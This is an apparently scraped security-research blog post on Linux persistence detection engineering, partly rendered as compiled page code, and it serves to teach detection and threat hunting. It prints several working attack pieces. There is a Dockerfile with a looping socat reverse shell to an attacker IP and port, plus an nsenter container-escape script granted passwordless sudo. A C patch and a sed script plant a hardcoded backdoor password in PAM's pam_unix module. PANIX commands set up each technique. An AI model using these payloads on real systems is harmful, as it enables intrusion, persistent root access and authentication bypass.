/usr/local/bin/entrypoint.sh \\\\\n\t\u0026\u0026 echo 'while true; do /bin/bash -c \"socat exec:\\\"/bin/bash\\\",pty,stderr,setsid,sigint,sane tcp:$ip:$port\"; sleep 60; done' \u003e\u003e /usr/local/bin/entrypoint.sh \\\\\n\t\u0026\u0026 chmod +x /usr/local/bin/entrypoint.sh\n\nRUN echo '#!/bin/bash' \u003e /usr/local/bin/escape.sh \\\\\n\t\u0026\u0026 echo 'sudo nsenter -t 1 -m -u -i -n -p -- su -' \u003e\u003e /usr/local/bin/escape.sh \\\\\n\t\u0026\u0026 chmod +x /usr/local/bin/escape.sh \\\\\n\t\u0026\u0026 echo 'lowprivuser ALL=(ALL) NOPASSWD: /usr/bin/nsenter' \u003e\u003e /etc/sudoers\n\nUSER lowprivuser\n\nENTRYPOINT [\"/usr/local/bin/entrypoint.sh\"]\n```\n\nThe Dockerfile sets up a lightweight Alpine Linux container with tools like `bash`, `socat`, and `nsenter`. The `entrypoint.sh` script ensures continuous reverse shell access by repeatedly connecting to a remote server using `socat`. The `escape.sh` script, which is granted passwordless `sudo` permissions, uses `nsenter` to attach to the host's namespaces (e.g., mount, network, PID) via the init process, effectively breaking container isolation.\n\nThe container is built using:\n\n`docker build -t malicious-container -f $DOCKERFILE . \u0026\u0026 \\`\n\nWhere the `-t` flag tags the container for easy identification, and `-f` specifies the Dockerfile path.\n\nIt is then run with:\n\n`docker run -d --name malicious-container --privileged --pid=host malicious-container`\n\nWhere the `--privileged` flag allows full access to host resources, bypassing Docker’s isolation mechanisms, while `--pid=host` shares the host's process namespace, enabling the container to interact directly with host-level processes. \n\nTo test this technique, Docker must be installed, and the user running the simulation must either have root or docker group permissions. Let’s run the payload and examine the logs through the execution of the following PANIX command:\n\n```\nsudo ./panix.sh --malicious-container --ip 192.168.100.1 --port 2021\n\n =\u003e [1/5] FROM [installing ...]\n =\u003e [2/5] RUN apk add --no-cache bash socat sudo util-linux procps\n =\u003e [3/5] RUN adduser -D lowprivuser\n =\u003e [4/5] RUN echo '#!/bin/bash' \u003e /usr/local/bin/entrypoint.sh \u0026\u0026 echo 'while true; do /bin/bash -c \"socat exec:\n =\u003e [5/5] RUN echo '#!/bin/bash' \u003e /usr/local/bin/escape.sh \u0026\u0026 echo 'sudo nsenter -t 1 -m -u -i -n -p -- su -'\n\n9543f7ce4c6a8defcad36358f00eb4d38a85a8688cc8ecd5f15a5a2d3f43383b\n\n[+] Malicious Docker container created and running.\n[+] Reverse shell is executed every minute.\n[+] To escape the container with root privileges, run '/usr/local/bin/escape.sh'.\n[+] Docker container persistence established!\n```\n\nAfter catching the shell on the attacker’s machine, run the `/usr/local/bin/escape.sh` script to escape the container:\n\n```\n❯ nc -nvlp 2021\nlistening on [any] 2021 ...\nconnect to [192.168.211.131] from (UNKNOWN) [192.168.211.151] 44726\n\n9543f7ce4c6a:/$ /usr/local/bin/escape.sh\nroot@debian10-persistence:~# hostname\ndebian10-persistence\n```\n\nUpon execution, the following logs are generated:\n\n\n\nThe execution of `panix.sh` initiates the creation of the `/tmp/Dockerfile`. The build command is then executed to create the container based on the specified configuration. Once built, the container is launched with the `--privileged` and `--pid=host` flags, enabling the necessary capabilities for host escape. Upon startup, the container runs the `/usr/local/bin/entrypoint.sh` script, which successfully establishes a reverse shell connection to the attacker’s machine using `socat`. After the shell is caught, the `/usr/local/bin/escape.sh` script is executed, effectively breaking out of the container and gaining access to the host.\n\nLet’s take a look at the coverage:\n\n*Detection and endpoint rules that cover malicious Docker container persistence*\n\n| Category | Coverage |\n| :---- | :---- |\n| Process | [Privileged Docker Container Creation](https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/execution_potentially_overly_permissive_container_creation.toml) [Docker Escape via Nsenter](https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/privilege_escalation_docker_escape_via_nsenter.toml) [Potential Chroot Container Escape via Mount](https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/privilege_escalation_docker_mount_chroot_container_escape.toml) [Potential Privilege Escalation via Container Misconfiguration](https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/privilege_escalation_container_util_misconfiguration.toml) [Potential Privilege Escalation through Writable Docker Socket](https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/privilege_escalation_writable_docker_socket.toml) |\n| Network | [Egress Connection from Entrypoint in Container](https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/execution_egress_connection_from_entrypoint_in_container.toml) |\n\nBesides the rules mentioned above, we also have a dedicated set of container rules that leverages our [Defend for Containers integration](https://www.elastic.co/guide/en/integrations/current/cloud_defend.html), which can be found in the [cloud\\_defend](https://github.com/elastic/detection-rules/tree/main/rules/integrations/cloud_defend) directory of our [detection-rules repository](https://github.com/elastic/detection-rules). We have also extended our protections through the integration of Falco with Elastic Security. This integration significantly enhances threat detection directly at the edge — whether in Docker containers, Kubernetes clusters, Linux virtual machines, or bare metal environments. By introducing dedicated Falco connectors, we've strengthened Elastic's capabilities to improve cloud workload protection and endpoint security strategies.\n\nFor a deeper dive into how our Falco integration secures container workloads, check out our recent blog, *“[Securing the Edge: Harnessing Falco’s Power with Elastic Security for Cloud Workload Protection](https://www.elastic.co/blog/falco-elastic-security-cloud-workload-protection)”*. The blog covers Falco setup, rule creation, alerting, and explores various threat scenarios.\n\nYou can revert the changes made by PANIX by running the following revert command:\n\n```\n\u003e ./panix.sh --revert malicious-container\n\n[+] Stopping and removing the 'malicious-container'...\n[+] Container 'malicious-container' stopped and removed.\n[+] Removing Docker image 'malicious-container'...\n[+] Docker image 'malicious-container' removed.\n[+] Removing Dockerfile at /tmp/Dockerfile...\n[+] Dockerfile removed.\n```\n\n### Hunting for T1610 - Deploy Container: Malicious Docker Container \n\nWe can hunt for this technique using ES|QL and OSQuery by focusing on suspicious container activity and configurations. The approach includes monitoring for the following:\n\n* **Unusual network connections from Docker containers:** Tracks connections to external or non-local IP addresses initiated by processes under `/var/lib/docker/*`. \n* **Privileged Docker containers:** Identifies containers running in privileged mode, which pose a higher risk of host compromise. \n* **Recently created containers and images:** Observes Docker containers and images created or pulled within the last 7 days to detect unauthorized deployments or suspicious additions. \n* **Sensitive host directory mounts:** Monitors container mounts accessing paths like `/var/run/docker.sock`, `/etc`, or the root directory (`/`), which could enable container escape or unauthorized host access.\n\nBy combining the [Persistence via Docker Container](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/hunting/linux/docs/persistence_via_malicious_docker_container.md) hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to [T1610](https://attack.mitre.org/techniques/T1610/).\n\n# Conclusion\n\nIn this fourth chapter of the \"Linux Detection Engineering\" series, we examined additional persistence techniques that adversaries may leverage on Linux systems. We explored the abuse of PAM modules and `pam_exec` for executing malicious code during authentication events. After PAM, we looked into installer package manipulation via `RPM` and `DPKG`, where lifecycle scripts are weaponized for persistence during the package installation/updating process. We finalized this part by examining malicious Docker containers, detailing how privileged containers and host-level access can be exploited for persistence and container escape.\n\nThese techniques underscore the ingenuity and variety of methods adversaries can employ to persist on Linux systems. By leveraging [PANIX](https://github.com/Aegrah/PANIX) to simulate these attacks and using the tailored ES|QL and OSQuery detection queries provided, you can build robust defenses and fine-tune your detection strategies.","code":"var Component=(()=\u003e{var h=Object.create;var r=Object.defineProperty;var u=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,m=Object.prototype.hasOwnProperty;var f=(i,e)=\u003e()=\u003e(e||i((e={exports:{}}).exports,e),e.exports),b=(i,e)=\u003e{for(var t in e)r(i,t,{get:e[t],enumerable:!0})},a=(i,e,t,c)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of p(e))!m.call(i,o)\u0026\u0026o!==t\u0026\u0026r(i,o,{get:()=\u003ee[o],enumerable:!(c=u(e,o))||c.enumerable});return i};var w=(i,e,t)=\u003e(t=i!=null?h(g(i)):{},a(e||!i||!i.__esModule?r(t,\"default\",{value:i,enumerable:!0}):t,i)),y=i=\u003ea(r({},\"__esModule\",{value:!0}),i);var l=f((A,s)=\u003e{s.exports=_jsx_runtime});var x={};b(x,{default:()=\u003e_,frontmatter:()=\u003ek});var n=w(l()),k={title:\"Linux Detection Engineering - Approaching the Summit on Persistence Mechanisms\",slug:\"approaching-the-summit-on-persistence\",date:\"2025-02-11\",description:\"Building on foundational concepts and techniques explored in the previous publications, this post discusses some creative and/or complex persistence mechanisms.\",author:[{slug:\"ruben-groenewoud\"}],image:\"Security Labs Images 32.jpg\",category:[{slug:\"security-research\"}]};function d(i){let e=Object.assign({h1:\"h1\",p:\"p\",ul:\"ul\",li:\"li\",a:\"a\",em:\"em\",code:\"code\",h2:\"h2\",pre:\"pre\",h3:\"h3\",img:\"img\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\",tbody:\"tbody\",td:\"td\",strong:\"strong\",br:\"br\"},i.components);return(0,n.jsxs)(n.Fragment,{children:[(0,n.jsx)(e.h1,{id:\"introduction\",children:\"Introduction\"}),`\n`,(0,n.jsx)(e.p,{children:\"Welcome to part four of the Linux Persistence Detection Engineering series! In this article, we continue to dig deep into the world of Linux persistence. Building on foundational concepts and techniques explored in the previous publications, this post discusses some creative and/or complex persistence mechanisms.\"}),`\n`,(0,n.jsx)(e.p,{children:\"If you missed the earlier articles, they lay the groundwork by exploring key persistence concepts. You can catch up on them here:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/primer-on-persistence-mechanisms\",rel:\"nofollow\",children:(0,n.jsx)(e.em,{children:\"Linux Detection Engineering - A Primer on Persistence Mechanisms\"})})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms\",rel:\"nofollow\",children:(0,n.jsx)(e.em,{children:\"Linux Detection Engineering - A Sequel on Persistence Mechanisms\"})})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms\",rel:\"nofollow\",children:(0,n.jsx)(e.em,{children:\"Linux Detection Engineering - A Continuation on Persistence Mechanisms\"})})}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:\"In this publication, we\\u2019ll provide insights into:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:\"How each works (theory)\"}),`\n`,(0,n.jsx)(e.li,{children:\"How to set each up (practice)\"}),`\n`,(0,n.jsx)(e.li,{children:\"How to detect them (SIEM and Endpoint rules)\"}),`\n`,(0,n.jsx)(e.li,{children:\"How to hunt for them (ES|QL and OSQuery reference hunts)\"}),`\n`]}),`\n`,(0,n.jsxs)(e.p,{children:[\"To make the process even more engaging, we will be leveraging \",(0,n.jsx)(e.a,{href:\"https://github.com/Aegrah/PANIX\",rel:\"nofollow\",children:\"PANIX\"}),\", a custom-built Linux persistence tool designed by Ruben Groenewoud of Elastic Security. PANIX allows you to streamline and experiment with Linux persistence setups, making it easy to identify and test detection opportunities.\"]}),`\n`,(0,n.jsx)(e.p,{children:\"By the end of this series, you'll have a robust knowledge of common and rare Linux persistence techniques; and you'll understand how to effectively engineer detections for common and advanced adversary capabilities. Let\\u2019s dive in!\"}),`\n`,(0,n.jsx)(e.h1,{id:\"setup-note\",children:\"Setup note\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"To ensure you are prepared to detect the persistence mechanisms discussed in this article, it is important to \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/security/current/prebuilt-rules-management.html#update-prebuilt-rules\",rel:\"nofollow\",children:\"enable and update our pre-built detection rules\"}),\". If you are working with a custom-built ruleset and do not use all of our pre-built rules, this is a great opportunity to test them and potentially fill any gaps. Now, we are ready to get started.\"]}),`\n`,(0,n.jsx)(e.h1,{id:\"t1556003---modify-authentication-process-pluggable-authentication-modules\",children:\"T1556.003 - Modify Authentication Process: Pluggable Authentication Modules\"}),`\n`,(0,n.jsxs)(e.p,{children:[(0,n.jsx)(e.a,{href:\"https://www.redhat.com/en/blog/pluggable-authentication-modules-pam\",rel:\"nofollow\",children:\"Pluggable Authentication Modules (PAM)\"}),\" are a powerful framework used in Linux to manage authentication-related tasks. PAM operates as a layer between applications and authentication methods, allowing system administrators to configure flexible and modular authentication policies. These modules are defined in configuration files typically found in \",(0,n.jsx)(e.code,{children:\"/etc/pam.d/\"}),\".\"]}),`\n`,(0,n.jsx)(e.p,{children:\"PAM modules themselves are shared library files commonly stored in the following locations:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.code,{children:\"/lib/security/\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.code,{children:\"/lib64/security/\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.code,{children:\"/lib/x86_64-linux-gnu/security/\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.code,{children:\"/usr/lib/security/\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.code,{children:\"/usr/lib64/security/\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.code,{children:\"/usr/lib/x86_64-linux-gnu/security/\"})}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:\"These locations house modules that perform authentication tasks, such as validating passwords, managing accounts, or executing scripts during authentication. While PAM provides the essential capability to centralize how secure authentication happens, its flexibility can be abused by attackers to establish persistence through malicious PAM modules. By introducing custom modules or modifying existing configurations, attackers can manipulate authentication flows to capture credentials, manipulate logging to evade detection, grant unauthorized access, or execute malicious code.\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"This is a common technique, and some examples include the open-source \",(0,n.jsx)(e.a,{href:\"https://github.com/ldpreload/Medusa\",rel:\"nofollow\",children:\"Medusa\"}),\" and \",(0,n.jsx)(e.a,{href:\"https://github.com/chokepoint/azazel\",rel:\"nofollow\",children:\"Azazel\"}),\" rootkits, and by malwares such as \",(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/software/S0377/\",rel:\"nofollow\",children:\"Ebury\"}),\", and \",(0,n.jsx)(e.a,{href:\"https://unit42.paloaltonetworks.com/linux-pam-apis/\",rel:\"nofollow\",children:\"Skidmap\"}),\" to establish persistence, capture credentials, and maintain unauthorized access. MITRE ATT\u0026CK tracks this technique under the identifier \",(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1556/003/\",rel:\"nofollow\",children:\"T1556.003\"}),\".\"]}),`\n`,(0,n.jsx)(e.h2,{id:\"t1556003---pluggable-authentication-modules-malicious-pam\",children:\"T1556.003 - Pluggable Authentication Modules: Malicious PAM\"}),`\n`,(0,n.jsx)(e.p,{children:\"Malicious PAM modules are custom-built, malicious shared libraries designed to be loaded during the PAM authentication process. Although there are many different ways to establish a PAM backdoor, in this section we will showcase how PAM can be patched to allow for backdoor SSH access.\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Commonly, PAM backdoors will patch the \",(0,n.jsx)(e.code,{children:\"pam_unix_auth.c\"}),\" file, which is part of the \",(0,n.jsx)(e.code,{children:\"pam_unix\"}),\" module, a widely used PAM module for UNIX-style password authentication. An open-source example of this is the \",(0,n.jsx)(e.a,{href:\"https://github.com/zephrax/linux-pam-backdoor\",rel:\"nofollow\",children:\"linux-pam-backdoor\"}),\" by \",(0,n.jsx)(e.a,{href:\"https://github.com/zephrax\",rel:\"nofollow\",children:\"zephrax\"}),\". The typical code that is run to verify the password of a user requesting authentication, looks as follows:\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-c\",children:`/* verify the password of this user */\nretval = _unix_verify_password(pamh, name, p, ctrl);\nname = p = NULL;\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"The original code calls the \",(0,n.jsx)(e.code,{children:\"_unix_verify_password\"}),\" function to validate the provided password (\",(0,n.jsx)(e.code,{children:\"p\"}),\") against the stored password for the user (\",(0,n.jsx)(e.code,{children:\"name\"}),\"). The full source code is available \",(0,n.jsx)(e.a,{href:\"https://github.com/linux-pam/linux-pam/blob/fc927d8f1a6d81e5bcf58096871684b35b793fe2/modules/pam_unix/pam_unix_auth.c\",rel:\"nofollow\",children:\"here\"}),\".\"]}),`\n`,(0,n.jsx)(e.p,{children:\"A threat actor may patch this code, and introduce an additional check.\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-c\",children:`/* verify the password of this user */if (strcmp(p, \"_PASSWORD_\") != 0) { retval = _unix_verify_password(pamh, name, p, ctrl); } else { retval = PAM_SUCCESS; }\n`})}),`\n`,(0,n.jsx)(e.p,{children:\"The code now checks:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsxs)(e.li,{children:[\"If the provided password (\",(0,n.jsx)(e.code,{children:\"p\"}),\") is not equal to the string literal \",(0,n.jsx)(e.code,{children:'\"_PASSWORD_\"'}),\", it proceeds to call \",(0,n.jsx)(e.code,{children:\"_unix_verify_password\"}),\" for standard password validation.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[\"If the password is \",(0,n.jsx)(e.code,{children:'\"_PASSWORD_\"'}),\", it skips the password verification entirely and directly returns \",(0,n.jsx)(e.code,{children:\"PAM_SUCCESS\"}),\", indicating successful authentication.\"]}),`\n`]}),`\n`,(0,n.jsxs)(e.p,{children:[\"The patch introduces a hardcoded backdoor password. Any user who enters the password \",(0,n.jsx)(e.code,{children:'\"_PASSWORD_\"'}),\" will bypass normal password verification and be authenticated successfully, regardless of the actual password stored for the account.\"]}),`\n`,(0,n.jsx)(e.h3,{id:\"persistence-through-t1556003---pluggable-authentication-modules-malicious-pam\",children:\"Persistence through T1556.003 - Pluggable Authentication Modules: Malicious PAM\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"We will be leveraging the \",(0,n.jsx)(e.a,{href:\"https://github.com/Aegrah/PANIX/blob/main/modules/setup_pam.sh\",rel:\"nofollow\",children:\"setup_pam.sh\"}),\" module from PANIX to test this technique and research potential detection opportunities. This patch is easily implemented by downloading the PAM source code for the correct PAM version from the \",(0,n.jsx)(e.a,{href:\"https://github.com/linux-pam/linux-pam/releases\",rel:\"nofollow\",children:\"linux-pam\"}),\" GitHub repository, looking for the line to replace, and replacing it with your own hardcoded password:\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`echo \"[+] Modifying PAM source...\"\nlocal target_file=\"$src_dir/modules/pam_unix/pam_unix_auth.c\"\nif grep -q \"retval = _unix_verify_password(pamh, name, p, ctrl);\" \"$target_file\"; then\n\tsed -i '/retval = _unix_verify_password(pamh, name, p, ctrl);/a\\\\\n\tif (p != NULL \u0026\u0026 strcmp(p, \"'$password'\") != 0) { retval = _unix_verify_password(pamh, name, p, ctrl); } else { retval = PAM_SUCCESS; }' \"$target_file\"\n\techo \"[+] Source modified successfully.\"\nelse\n\techo \"[-] Target string not found in $target_file. Modification failed.\"\n\texit 1\nfi\n`})}),`\n`,(0,n.jsx)(e.p,{children:\"After which we can compile the shared object, and move it to the correct PAM directory.\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Now let\\u2019s run the \",(0,n.jsx)(e.a,{href:\"https://github.com/Aegrah/PANIX/blob/main/modules/setup_pam.sh\",rel:\"nofollow\",children:\"setup_pam.sh\"}),\" module. This technique requires several compilation tools and downloading a specific Linux-PAM release. Execute the following PANIX command to inject a malicious module.\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-py\",children:`\u003e sudo ./panix.sh --pam --module --password persistence\n\n[+] Determining PAM version... [+] Detected PAM Version: '1.3.1' [+] Downloading PAM source... [+] Download completed. Extracting... [+] Extraction completed. [+] Modifying PAM source... [+] Source modified successfully. [+] Compiling PAM source... [+] PAM compiled successfully. [+] Detecting PAM library directory...\n[+] Backing up original PAM library... [+] Copying PAM library to /lib/x86_64-linux-gnu/security... [+] Checking SELinux status... [+] Rogue PAM injected! \nYou can now login to any user (including root) with a login shell using your specified password.\nExample: su - user Example: ssh user@ip\n\n[+] PAM persistence established! \n`})}),`\n`,(0,n.jsx)(e.p,{children:\"Let\\u2019s analyze the events of interest in Discover. Due to the huge load of events originating from compiling PAM source, these events are sorted from oldest (top) to newest (bottom).\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/approaching-the-summit-on-persistence/image4.png\",alt:\"PANIX Malicious PAM module execution visualized in Kibana - part 1\",width:\"1672\",height:\"905\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Upon execution of PANIX, we can see \",(0,n.jsx)(e.code,{children:\"dpkg\"}),\" being used to discover the running PAM version, followed by a \",(0,n.jsx)(e.code,{children:\"curl\"}),\" execution to download the linux-pam source for this identified version. After extracting the \",(0,n.jsx)(e.code,{children:\"tar\"}),\" archive, PANIX continues to modify the \",(0,n.jsx)(e.code,{children:\"pam_unix_auth.c\"}),\" source code to implement the backdoor.\"]}),`\n`,(0,n.jsx)(e.p,{children:\"Once the above steps are completed, the following events occur (sorted from newest (top) to oldest (bottom)):\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/approaching-the-summit-on-persistence/image1.png\",alt:\"PANIX Malicious PAM module execution visualized in Kibana - part 2\",width:\"1492\",height:\"293\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"The \",(0,n.jsx)(e.code,{children:\"pam_unix.so\"}),\" file is compiled, and moved to the correct directory (in this case \",(0,n.jsx)(e.code,{children:\"/lib/x86_64-linux-gnu/security\"}),\"), overwriting the existing \",(0,n.jsx)(e.code,{children:\"pam_unix.so\"}),\" file and successfully activating the backdoor.\"]}),`\n`,(0,n.jsx)(e.p,{children:\"Let's review the coverage:\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.em,{children:\"Detection and endpoint rules that cover Malicious PAM persistence\"})}),`\n`,(0,n.jsx)(e.div,{className:\"table-container\",children:(0,n.jsxs)(e.table,{children:[(0,n.jsx)(e.thead,{children:(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.th,{align:\"left\",children:\"Category\"}),(0,n.jsx)(e.th,{align:\"left\",children:\"Coverage\"})]})}),(0,n.jsxs)(e.tbody,{children:[(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{align:\"left\",children:\"File\"}),(0,n.jsxs)(e.td,{align:\"left\",children:[(0,n.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/persistence_pluggable_authentication_module_creation.toml\",rel:\"nofollow\",children:\"Creation or Modification of Pluggable Authentication Module or Configuration\"}),\" \",(0,n.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/persistence_pluggable_authentication_module_creation_in_unusual_dir.toml\",rel:\"nofollow\",children:\"Pluggable Authentication Module Creation in Unusual Directory\"}),\" \",(0,n.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/integrations/fim/persistence_suspicious_file_modifications.toml\",rel:\"nofollow\",children:\"Potential Persistence via File Modification\"})]})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{align:\"left\",children:\"Process\"}),(0,n.jsxs)(e.td,{align:\"left\",children:[(0,n.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/discovery_pam_version_discovery.toml\",rel:\"nofollow\",children:\"Pluggable Authentication Module Version Discovery\"}),\" \",(0,n.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/persistence_pluggable_authentication_module_source_download.toml\",rel:\"nofollow\",children:\"Pluggable Authentication Module Source Download\"})]})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{align:\"left\",children:\"Authentication\"}),(0,n.jsx)(e.td,{align:\"left\",children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/persistence_unusual_pam_grantor.toml\",rel:\"nofollow\",children:\"Authentication via Unusual PAM Grantor\"})})]})]})]})}),`\n`,(0,n.jsx)(e.p,{children:\"To revert any changes made to the system by PANIX, you can use the corresponding revert module by running:\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`\u003e ./panix.sh --revert pam\n\n[+] Searching for rogue PAM module\n[+] Restored original PAM module '/lib/x86_64-linux-gnu/security/pam_unix.so'.\n[+] Restarting SSH service...\n[+] SSH service restarted successfully.\n`})}),`\n`,(0,n.jsx)(e.h3,{id:\"hunting-for-t1556003---pluggable-authentication-modules-malicious-pam\",children:\"Hunting for T1556.003 - Pluggable Authentication Modules (Malicious PAM)\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Other than relying on detections, it is important to incorporate threat hunting into your workflow, especially for persistence mechanisms like these, where events can potentially be missed due to timing. This publication will solely list the available hunts for each persistence mechanism; however, more details regarding the basics of threat hunting are outlined in the \\u201C\",(0,n.jsx)(e.em,{children:\"Hunting for T1053 - scheduled task/job\"}),\"\\u201D section of \\u201C\",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/primer-on-persistence-mechanisms\",rel:\"nofollow\",children:(0,n.jsx)(e.em,{children:\"Linux Detection Engineering - A primer on persistence mechanisms\"})}),\"\\u201D. Additionally, descriptions and references can be found in our \",(0,n.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules\",rel:\"nofollow\",children:\"Detection Rules repository\"}),\", specifically in the \",(0,n.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/tree/main/hunting\",rel:\"nofollow\",children:\"Linux hunting subdirectory\"}),\".\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"We can hunt for PAM persistence through \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/elasticsearch/reference/current/esql.html\",rel:\"nofollow\",children:\"ES|QL\"}),\" and \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/kibana/current/osquery.html\",rel:\"nofollow\",children:\"OSQuery\"}),\", focusing on file creations (as this technique requires the compilation of modified PAM components) and modifications to PAM-related files and directories. The approach includes monitoring for the following:\"]}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Creations and/or modifications to PAM configuration files:\"}),\" Tracks changes to files in the \",(0,n.jsx)(e.code,{children:\"/etc/pam.d/\"}),\" and \",(0,n.jsx)(e.code,{children:\"/lib/security/\"}),\" directories and the \",(0,n.jsx)(e.code,{children:\"/etc/pam.conf\"}),\" file, which are commonly targeted for PAM persistence.\"]}),`\n`]}),`\n`,(0,n.jsxs)(e.p,{children:[\"By combining the \",(0,n.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/hunting/linux/docs/persistence_via_pluggable_authentication_module.md\",rel:\"nofollow\",children:\"Persistence via Pluggable Authentication Modules\"}),\" hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to \",(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1556/003/\",rel:\"nofollow\",children:\"T1556.003\"}),\".\"]}),`\n`,(0,n.jsx)(e.h2,{id:\"t1556003---pluggable-authentication-modules-pam_execso\",children:\"T1556.003 - Pluggable Authentication Modules: pam_exec.so\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"The \",(0,n.jsx)(e.code,{children:\"pam_exec.so\"}),\" module, part of the PAM framework, allows administrators to execute external commands or scripts during the authentication process. This flexibility is powerful for extending authentication workflows with tasks like logging, additional security checks, or notifications. However, this same capability can be exploited by attackers to log passwords or execute backdoors, enabling malicious scripts to run when users authenticate.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"To understand how \",(0,n.jsx)(e.code,{children:\"pam_exec.so\"}),\" can be configured, consider the following excerpt from \",(0,n.jsx)(e.code,{children:\"/etc/pam.d/common-auth\"}),\", a file that defines the authentication scheme for Linux systems:\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-py\",children:`# /etc/pam.d/common-auth - authentication settings common to all services\n\n# Primary modules\nauth [success=1 default=ignore] pam_unix.so nullok_secure\n\n# Fallback if no module succeeds\nauth requisite pam_deny.so\n\n# Ensure a positive return value if none is set\nauth required pam_permit.so\n`})}),`\n`,(0,n.jsx)(e.p,{children:\"This file controls how authentication is processed for all services. Each line defines a module and its behavior. For instance:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsxs)(e.li,{children:[\"The \",(0,n.jsx)(e.code,{children:\"auth\"}),\" keyword indicates that the module operates during the authentication phase.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[\"Control flags, like \",(0,n.jsx)(e.code,{children:\"[success=1 default=ignore]\"}),\", specify how PAM interprets the module's result. For example, \",(0,n.jsx)(e.code,{children:\"success=1\"}),\" skips the next module if the current one succeeds.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[\"The \",(0,n.jsx)(e.code,{children:\"requisite\"}),\" flag immediately denies authentication if the module 